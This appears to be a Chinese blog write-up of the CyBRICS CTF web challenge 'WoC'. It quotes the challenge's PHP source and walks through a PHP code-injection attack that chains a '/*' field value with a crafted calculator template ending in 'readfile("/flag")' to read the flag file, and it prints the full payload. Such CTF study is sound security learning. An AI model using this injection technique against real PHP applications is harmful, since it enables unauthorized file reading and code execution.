0%

cybric

原以为开始实习了以后会有很多独立的时间去自己研究,结果发现怎么老是出差….orz

Cybrics的题目类型分的挺细,但是没打上…

比赛就看了一题WoC,跟进一下,慢慢复现补完。

WoC

上来给了源码,这样方便了赛后复现,真好。

先登录进网站,浏览了下大致功能,开始看源代码。

看到计算器我第一时间想到calc.php,一般问题都出在这。

请求模板的序列号匹配,获取用户session

1
2
3
4
5
6
7
8
9
10
11
if (!@$_SESSION['userid'] || !@$_GET['template']) {
redir(".");
}
$userid = $_SESSION['userid'];
$template = $_GET['template'];
if (!preg_match('#^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$#s', $template)) {
redir(".");
}
if (!is_file("calcs/$userid/templates/$template.html")) {
redir(".");
}

这一部分没什么用,继续往下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if (trim(@$_POST['field'])) {
$field = trim($_POST['field']);

if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
$value = "BAD";
} else {
if (@$_POST['share']) {
$calc = uuid();
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field)?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
redir("?p=sharelink&calc=$calc");
} else {
try {
$value = eval("return $field;");
} catch (Throwable $e) {
$value = null;
}

if (!is_numeric($value) && !is_string($value)) {
$value = "ERROR";
} else {
$value = (string)$value;
}
}
}

echo "<script>var preloadValue = " . json_encode($value) . ";</script>";
}

这一部分第一眼看到那个正则,加上注入点白名单,再加上我比较菜,感觉是不可能绕的了

于是往下看发现有一段文件写入的功能,如果我们post了share的话,就会对文件内容进行一个拼接操作,然后重定向一个地址回显。

1
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field)?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));

拼接操作中没有过滤,而且使用到了<?=(充当echo),又传入了一个field参数,中间的html内容固定,最后的文件可控。

我们看看可控的文件,定位到newtemplate.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
if (trim(@$_POST['html'])) {
do {
$html = trim($_POST['html']);
if (strpos($html, '<?') !== false) { //<?=
$error = "Bad chars";
break;
}
$requiredBlocks = [
'id="back"',
'id="field" name="field"',
'id="digit0"',
'id="digit1"',
'id="digit2"',
'id="digit3"',
'id="digit4"',
'id="digit5"',
'id="digit6"',
'id="digit7"',
'id="digit8"',
'id="digit9"',
'id="plus"',
'id="equals"',
];
foreach ($requiredBlocks as $block) {
if (strpos($html, $block) === false) {
$error = "Missing required block: '$block'";
break(2);
}
}
$uuid = uuid();
if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) {
$error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts";
break;
}
redir(".");
} while (false);
}

对内容过滤不严格,只过滤了<?,没过滤函数。

再看回calc.php的拼接处,我们可以尝试在<?=处接入恶意代码readfile(“/flag”),但是field参数进行了限制,接了没用。

那继续看第二个可控点,可以插入恶意代码,但是必须得除去中间的文件,那就采用注释符构造如下的结构试试

\n" . /*file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));*/readfile("/flag")));

field传入/*就可以配合可控html达到注释效果。

构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<body>
<input type="text" class="part" id="back" />
<input type="text" class="part" id="field" name="field" />
<input type="text" class="part" id="digit0" />
<input type="text" class="part" id="digit1" />
<input type="text" class="part" id="digit2" />
<input type="text" class="part" id="digit3" />
<input type="text" class="part" id="digit4" />
<input type="text" class="part" id="digit5" />
<input type="text" class="part" id="digit6" />
<input type="text" class="part" id="digit7" />
<input type="text" class="part" id="digit8" />
<input type="text" class="part" id="digit9" />
<input type="text" class="part" id="plus" />
<input type="text" class="part" id="minus" />
<input type="text" class="part" id="equals" />
*/readfile("/flag")));

回显了插入恶意代码的地址,过去看看有没有生效

成功


-------------    本文结束  感谢您的阅读    -------------